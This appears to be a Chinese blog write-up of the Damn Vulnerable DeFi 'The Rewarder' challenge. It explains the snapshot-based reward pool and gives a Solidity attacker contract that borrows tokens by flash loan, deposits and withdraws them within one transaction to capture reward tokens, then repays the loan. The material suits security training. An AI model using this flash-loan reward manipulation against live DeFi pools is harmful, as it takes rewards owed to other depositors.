banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | The Rewarder

Challenge #4 - The Rewarder#

为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉

合约#

本题涉及的合约比较多,首先介绍 ERC20Snapshot 合约

ERC20Snapshot:继承自 ERC20,通过 SnapshotId 可以追溯到每一个快照时间点的账户余额和总供应量,在 ERC20 token 的 transfer 之前会通过 beforeTransfer 来更新当前快照 ID 下的账号余额和总供应,通常用作分红、投票、空投等快照场景

image

这道题目中主要由 RewardToken、AccountingToken、LiquidityToken 和 TheRewarderPool 组成,它们的关系如下:

  • TheRewarderPool 对外提供 deposit 和 withdraw 方法
    • deposit:用户存入 liquidityToken,mint 对应份额的 AccountingToken,根据当前的快照轮次 mint 出一定数目的 rewardToken,每 5 天一个新的快照轮次
    • withdraw:burn 对应份额的 AccountingToken,将用户存入的 liquidityToken 转移给用户

image

除此之外,本题还提供一个闪电贷合约,可用于通过闪电贷借出 liquidityToken

测试#

  • 创建 alice bob charlie david 四名用户,记录为 users
  • 部署 LiquidityToken FlashLoanerPool 合约,向 FlashLoanerPool 中转入 liquidityToken 数目为:TOKENS_IN_LENDER_POOL
  • 部署 TheRewarderPool (连带部署 RewardToken AccountingToken)
  • 遍历 users 数组,向每个用户都转入一定数目的 liquidityToken,并 deposit 到 TheRewarderPool,此时轮次为 1
  • 将区块时间戳向后延长 5 天,再次遍历 user 数组,依次触发 distributeRewards,每个用户都等分到 rewardToken,此时轮次为 2
  • 执行攻击脚本
  • 期望当前轮次为 3,遍历 users 数组,触发 distributeRewards,每个用户分到的 rewardToken 少于原来的 1/4
    • 期望 player 的 rewardToken 余额大于 0
    • 期望 player 的 liquidityToken 数目为 0,FlashLoanerPool 中的 liquidityToken 数目不变

题解#

假设没有任何额外的用户操作,在下一轮次分配奖励的时候,users 数组中的四位用户将会继续评分奖励,每个用户分到的 rewardToken 为总数的 1/4

为了达到测试脚本的期望值,需要 player 参与 rewardToken 的分配,可以通过闪电贷借出 liquidityToken,deposit 到 TheRewarderPool,此时可以触发新一轮的 rewardToken 分配,再通过 withdraw 赎回 liquidityToken 并返还给 FlashLoanerPool

攻击合约代码如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
    FlashLoanerPool flashloan;
    TheRewarderPool pool;
    DamnValuableToken dvt;
    RewardToken reward;
    address internal owner;

    constructor(address _flashloan,address _pool,address _dvt,address _reward){
        flashloan = FlashLoanerPool(_flashloan);
        pool = TheRewarderPool(_pool);
        dvt = DamnValuableToken(_dvt);
        reward = RewardToken(_reward);
        owner = msg.sender;
    }

    function attack(uint256 amount) external {
        flashloan.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external{
        dvt.approve(address(pool), amount);
        // deposit liquidity token get reward token
        pool.deposit(amount);
        // withdraw liquidity token
        pool.withdraw(amount);
        // repay to flashloan
        dvt.transfer(address(flashloan), amount);
        reward.transfer(owner, reward.balanceOf(address(this)));
    }
}
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。